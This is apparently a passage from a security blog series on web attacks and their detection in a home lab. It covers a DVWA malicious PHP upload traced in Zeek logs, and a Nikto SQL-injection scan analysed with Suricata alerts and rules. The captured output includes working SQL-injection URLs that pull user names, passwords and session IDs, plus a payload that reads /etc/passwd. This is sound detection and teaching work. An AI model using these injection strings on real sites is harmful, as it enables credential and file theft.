1687461839.117382       CcgONKdzshQp8ZH68       10.0.0.108      55686   10.0.0.106      80      1       POST    10.0.0.106      /dvwa/vulnerabilities/upload/        http://10.0.0.106/dvwa/vulnerabilities/upload/  1.1     Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0       http://10.0.0.106       64966   4061    200     OK      -       -       (empty) -       -       -   F8D5nXnU24QCFs3ni,FL8pyG3KgVYBxGp5J8,FjahXg2bW4MO7TWJok  hack_and_detect.png     image/png       Fr5Uwyf1md9rma0F1       -       text/html
1687461900.287690       Ca15Kb1F57kcgJCx8j      10.0.0.108      55814   10.0.0.106      80      1       GET     10.0.0.106      /dvwa//hackable/uploads/hack_and_detect.png  -       1.1     curl/7.88.1     -       0       64493   200     OK      -       -       (empty)      -       -       -       -       -       -       FRXytH1roWzznSMp5d      -       image/png

Looking at malicious.php.

┌──(kali㉿securitynik)-[~/file_upload]                                                                                  
└─$ cat http.log | grep --perl-regexp "malicious.php"
1687462020.720561       C9k6p6FxgHAgjfjGa       10.0.0.108      47986   10.0.0.106      80      1       POST    10.0.0.106      /dvwa/vulnerabilities/upload/   http://10.0.0.106/dvwa/vulnerabilities/upload/    1.1     Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0  http://10.0.0.106       1582    4055    200     OK      -       -       (empty) -       -       -       FbKoDB2gXDz6wz2Z74,F3m3sc1e7ZmJMAs5Cc,FVC9nG4cwHcT19LmOa  malicious.php   text/x-php      Fnwwck3gnEGZ79OWy1      -       text/html
1687462143.814819       CwNOXb1eZ6LvtPEI96      10.0.0.108      33048   10.0.0.106      80      1       GET     10.0.0.106      /dvwa/hackable/uploads/malicious.php    -       1.1     curl/7.88.1     -02       200     OK      -       -       (empty) -       -       -       -       -       -       FVkDFy3Q20vdj9aPCk      -       -

Looking across the various logs for the UID "C9k6p6FxgHAgjfjGa" and removing the files with 0 bytes, we get

┌──(kali㉿securitynik)-[~/file_upload]
└─$ grep "C9k6p6FxgHAgjfjGa" *.log | grep --perl-regexp "1111|4055"                                                                                                                                                                                                                                       
files.log:1687462020.720573     F3m3sc1e7ZmJMAs5Cc      C9k6p6FxgHAgjfjGa       10.0.0.108      47986   10.0.0.106      80      HTTP    0       (empty) text/x-php      malicious.php   0.000000        -       T       1111    -       0       0       F       -       -       -       -       -       --
files.log:1687462020.751930     Fnwwck3gnEGZ79OWy1      C9k6p6FxgHAgjfjGa       10.0.0.108      47986   10.0.0.106      80      HTTP    0       (empty) text/html       -       0.000001        -       F       4055    4055    0       0       F       -       -       -       -       -       -       -
http.log:1687462020.720561      C9k6p6FxgHAgjfjGa       10.0.0.108      47986   10.0.0.106      80      1       POST    10.0.0.106      /dvwa/vulnerabilities/upload/   http://10.0.0.106/dvwa/vulnerabilities/upload/  1.1     Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0  http://10.0.0.106 1582    4055    200     OK      -       -       (empty) -       -       -       FbKoDB2gXDz6wz2Z74,F3m3sc1e7ZmJMAs5Cc,FVC9nG4cwHcT19LmOa        malicious.php   text/x-php      Fnwwck3gnEGZ79OWy1      -       text/html

Obviously, there are entries in the conn.log file. However, the objective is to keep things simple for this analysis.

Moving on the the IDS/IPS.

Detect - Suricata (IDS) Analysis

Setup Suricata to operate in IDS mode

┌──(kali㉿securitynik)-[/var/log/suricata]
└─$ sudo suricata -c /etc/suricata/suricata.yaml -s /var/lib/suricata/rules/suricata.rules -i eth0 -l /var/log/suricata/ --simulate-ips -k all

How many alerts triggered for this activity?

┌──(kali㉿securitynik)-[/var/log/suricata]                                                                              └─$ cat fast.log | grep --perl-regexp '\[\*\*\].*?\[\**\]' --only-matching | wc --lines
1    

Hmmm! One alert! Interesting!!

┌──(kali㉿securitynik)-[/var/log/suricata]
└─$ cat fast.log 
06/22/2023-15:27:00.720561  [**] [1:2011768:8] ET WEB_SERVER PHP tags in HTTP POST [**] [Classification: Web Application Attack] [Priority: 1] {TCP} 10.0.0.108:47986 -> 10.0.0.106:80

Looking at the alert-debug.log file

┌──(kali㉿securitynik)-[/var/log/suricata]
└─$ cat alert-debug.log | more                                                                                                                      
+================
TIME:              06/22/2023-15:27:00.720561
PKT SRC:           wire/pcap
SRC IP:            10.0.0.108
DST IP:            10.0.0.106
PROTO:             6
SRC PORT:          47986
DST PORT:          80
TCP SEQ:           2986100032
TCP ACK:           2432827111
FLOW:              to_server: TRUE, to_client: FALSE
FLOW Start TS:     06/22/2023-15:27:00.719233
FLOW PKTS TODST:   3
FLOW PKTS TOSRC:   1
FLOW Total Bytes:  1708
FLOW IPONLY SET:   TOSERVER: TRUE, TOCLIENT: TRUE
FLOW ACTION:       DROP: FALSE
FLOW NOINSPECTION: PACKET: FALSE, PAYLOAD: FALSE, APP_LAYER: FALSE
FLOW APP_LAYER:    DETECTED: TRUE, PROTO 1
PACKET LEN:        1514
PACKET:
...

We can see that this ties in above with the other network based traffic, especially when we focus on TCP port 47986.

Peeking a bit more into this php traffic.

┌──(kali㉿securitynik)-[/var/log/suricata]
└─$ cat alert-debug.log | grep ".php"
 03C0  63 61 74 69 6F 6E 2F 78  2D 70 68 70 0D 0A 0D 0A   cation/x -php....
 03D0  2F 2A 3C 3F 70 68 70 20  2F 2A 2A 2F 20 65 72 72   /*<?php  /**/ err
 0370  2E 70 68 70 22 0D 0A 43  6F 6E 74 65 6E 74 2D 54   .php"..C ontent-T
 0390  2F 78 2D 70 68 70 0D 0A  0D 0A 2F 2A 3C 3F 70 68   /x-php.. ../*<?ph
 0370  2E 70 68 70 22 0D 0A 43  6F 6E 74 65 6E 74 2D 54   .php"..C ontent-T
 0390  2F 78 2D 70 68 70 0D 0A  0D 0A 2F 2A 3C 3F 70 68   /x-php.. ../*<?ph

Well I'm going to close off for now.

Hope you enjoyed the posts in this series:


References:

Beginning Nikto - SQL Injection with default evasion

This post is part of the series of learning more about Nikto and web application scanning from the perspectives of both the hack and its detection

From the hacking perspective, Nikto is the tool used. From detection perspective, the tools and or processed used for the network forensics are log analysis, TShark, Zeek and Suricata.

The Hack - SQL Injection with default evasion.

┌──(kali㉿securitynik)-[~/nikto_stuff/tuning_9]
└─$ nikto -host http://10.0.0.106 -ipv4 -Display 1 --ask no -nossl -no404 -Tuning 9
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          10.0.0.106
+ Target Hostname:    10.0.0.106
+ Target Port:        80
+ Start Time:         2023-06-09 14:09:20 (GMT-4)
---------------------------------------------------------------------------
+ Server: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.0.28
+ /cgi.cgi/: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /cgi.cgi/: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ /: Retrieved x-powered-by header: PHP/8.0.28.
+ PHP/8.0.28 appears to be outdated (current is at least 8.1.5), PHP 7.4.28 for the 7.4 branch.
+ OpenSSL/1.1.1t appears to be outdated (current is at least 3.0.7). OpenSSL 1.1.1s is current for the 1.x branch and will be supported until Nov 11 2023.
+ /: HTTP TRACE method is active which suggests the host is vulnerable to XST. See: https://owasp.org/www-community/attacks/Cross_Site_Tracing
+ /index.php?module=My_eGallery&do=showpic&pid=-1/**/AND/**/1=2/**/UNION/**/ALL/**/SELECT/**/0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,concat(0x3C7230783E,pn_uname,0x3a,pn_pass,0x3C7230783E),0,0,0/**/FROM/**/md_users/**/WHERE/**/pn_uid=$id/* - Redirects (302) to http://10.0.0.106/dashboard/ , My_eGallery prior to 3.1.1.g are vulnerable to a remote execution bug via SQL command injection.
....
/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=75&type_id=1&list[select]=(select%201%20FROM(select%20count(*),concat((select%20(select%20concat(session_id))%20FROM%20jml_session%20LIMIT%200,1),floor(rand(0)*2))x%20FROM%20information_schema.tables%20GROUP%20BY%20x)a) - Redirects (302) to http://10.0.0.106/dashboard/ , Joomla is vulnerable to a SQL injection which can lead to administrator access. https://www.trustwave.com/Resources/SpiderLabs-Blog/Joomla-SQL-Injection-Vulnerability-Exploit-Results-in-Full-Administrative-Access/?page=1&year=0&month=0
+ 783 requests: 0 error(s) and 6 item(s) reported on remote host
+ End Time:           2023-06-09 14:09:22 (GMT-4) (2 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
 
Once again, index.php does not have most of the parameters that Nikto is reporting as vulnerable. What do I make of the output from the tool. I make that it is time for me to move on.

See here for more guidance on SQL Injection:  or 
Learning by practicing: Beginning Web Application Testing: SQL Injection - Mutillidae (securitynik.com)
Learning by practicing: Continuing SQL Injection with SQLMap - Exploitation (securitynik.com)


Detect - Log Analysis

Quick log analysis says most of this activity is a waste of time. First most of the parameters targeted here does not exist on index.php page. We know this from the previous posts in this series. Second their is no request.php file.

I've lost interest. Maybe need to do the test from another perspective.

See this link for for assistance with detecting SQL injection in your infrastructure.


Detect - Suricata (IDS) Analysis

Setup Suricata to operate in IDS mode

┌──(kali㉿securitynik)-[/var/log/suricata]
└─$ sudo suricata -c /etc/suricata/suricata.yaml -s /var/lib/suricata/rules/suricata.rules -i eth0 -l /var/log/suricata/ --simulate-ips -k all

What does the IDS see

┌──(kali㉿securitynik)-[~/nikto_stuff/tuning_9]
└─$ cat fast.log | cut --fields=3 --delimiter='[' | sort | uniq --count | sort --numeric-sort --reverse | head --lines=5
     35 1:2022028:2] ET WEB_SERVER Possible CVE-2014-6271 Attempt 
     14 1:2021390:3] ET WEB_SPECIFIC_APPS WEB-PHP RCE PHPBB 2004-1315 
      6 1:2006445:14] ET WEB_SERVER Possible SQL Injection Attempt SELECT FROM 
      5 1:2006446:14] ET WEB_SERVER Possible SQL Injection Attempt UNION SELECT 
      4 1:2011042:6] ET WEB_SERVER MYSQL SELECT CONCAT SQL Injection Attempt 


See 3 unique alerts for SQL injection attempt. Find the associated rules:

┌──(kali㉿securitynik)-[~/nikto_stuff/tuning_9]
└─$ grep --perl-regexp "2006445|2006446|2011042" /var/lib/suricata/rules/suricata.rules 
alert http $EXTERNAL_NET any -> $HTTP_SERVERS any (msg:"ET WEB_SERVER Possible SQL Injection Attempt SELECT FROM"; flow:established,to_server; http.uri; content:"SELECT"; nocase; content:"FROM"; nocase; distance:0; reference:url,en.wikipedia.org/wiki/SQL_injection; reference:url,doc.emergingthreats.net/2006445; classtype:web-application-attack; sid:2006445; rev:14; metadata:affected_product Web_Server_Applications, attack_target Web_Server, created_at 2010_07_30, deployment Datacenter, signature_severity Major, tag SQL_Injection, updated_at 2020_05_01;)

alert http $EXTERNAL_NET any -> $HTTP_SERVERS any (msg:"ET WEB_SERVER Possible SQL Injection Attempt UNION SELECT"; flow:established,to_server; http.uri; content:"UNION"; nocase; content:"SELECT"; nocase; distance:0; reference:url,en.wikipedia.org/wiki/SQL_injection; reference:url,doc.emergingthreats.net/2006446; classtype:web-application-attack; sid:2006446; rev:14; metadata:affected_product Web_Server_Applications, attack_target Web_Server, created_at 2010_07_30, deployment Datacenter, signature_severity Major, tag SQL_Injection, updated_at 2020_09_01;)

alert http $EXTERNAL_NET any -> $HTTP_SERVERS any (msg:"ET WEB_SERVER MYSQL SELECT CONCAT SQL Injection Attempt"; flow:established,to_server; http.uri; content:"SELECT"; nocase; content:"CONCAT"; nocase; pcre:"/SELECT.+CONCAT/i"; reference:url,ferruh.mavituna.com/sql-injection-cheatsheet-oku/; reference:url,www.webdevelopersnotes.com/tutorials/sql/a_little_more_on_the_mysql_select_statement.php3; reference:url,doc.emergingthreats.net/2011042; classtype:web-application-attack; sid:2011042; rev:6; metadata:affected_product Web_Server_Applications, attack_target Web_Server, created_at 2010_07_30, deployment Datacenter, signature_severity Major, tag SQL_Injection, updated_at 2020_09_14;)

Find an alert for "2006445"

┌──(kali㉿securitynik)-[~/nikto_stuff/tuning_9]
└─$ less alert-debug.log

ALERT CNT:           2
ALERT MSG [00]:      ET WEB_SERVER Possible SQL Injection Attempt SELECT FROM
ALERT GID [00]:      1
ALERT SID [00]:      2006445
ALERT REV [00]:      14
ALERT CLASS [00]:    Web Application Attack
ALERT PRIO [00]:     1
ALERT FOUND IN [00]: STATE
ALERT IN TX [00]:    34
PAYLOAD LEN:         316
PAYLOAD:
 0000  47 45 54 20 2F 73 69 74  65 2F 27 25 32 30 55 4E   GET /sit e/'%20UN
 0010  49 4F 4E 25 32 30 41 4C  4C 25 32 30 53 45 4C 45   ION%20AL L%20SELE
 0020  43 54 25 32 30 46 69 6C  65 54 6F 43 6C 6F 62 28   CT%20Fil eToClob(
 0030  27 2F 65 74 63 2F 70 61  73 73 77 64 27 2C 27 73   '/etc/pa sswd','s
 0040  65 72 76 65 72 27 29 3A  3A 68 74 6D 6C 2C 30 25   erver'): :html,0%
 0050  32 30 46 52 4F 4D 25 32  30 73 79 73 75 73 65 72   20FROM%2 0sysuser
 0060  73 25 32 30 57 48 45 52  45 25 32 30 75 73 65 72   s%20WHER E%20user
 0070  6E 61 6D 65 3D 55 53 45  52 25 32 30 2D 2D 2F 2E   name=USE R%20--/.
 0080  68 74 6D 6C 20 48 54 54  50 2F 31 2E 31 0D 0A 55   html HTT P/1.1..U
 0090  73 65 72 2D 41 67 65 6E  74 3A 20 4D 6F 7A 69 6C   ser-Agen t: Mozil
 00A0  6C 61 2F 35 2E 30 20 28  57 69 6E 64 6F 77 73 20   la/5.0 ( Windows 
 00B0  4E 54 20 31 30 2E 30 3B  20 57 69 6E 36 34 3B 20   NT 10.0;  Win64; 
 00C0  78 36 34 29 20 41 70 70  6C 65 57 65 62 4B 69 74   x64) App leWebKit
 00D0  2F 35 33 37 2E 33 36 20  28 4B 48 54 4D 4C 2C 20   /537.36  (KHTML, 
 00E0  6C 69 6B 65 20 47 65 63  6B 6F 29 20 43 68 72 6F   like Gec ko) Chro
 00F0  6D 65 2F 37 34 2E 30 2E  33 37 32 39 2E 31 36 39   me/74.0. 3729.169
 0100  20 53 61 66 61 72 69 2F  35 33 37 2E 33 36 0D 0A    Safari/ 537.36..
 0110  43 6F 6E 6E 65 63 74 69  6F 6E 3A 20 4B 65 65 70   Connecti on: Keep
 0120  2D 41 6C 69 76 65 0D 0A  48 6F 73 74 3A 20 31 30   -Alive.. Host: 10
 0130  2E 30 2E 30 2E 31 30 36  0D 0A 0D 0A               .0.0.106 ....

That's it. Moving on.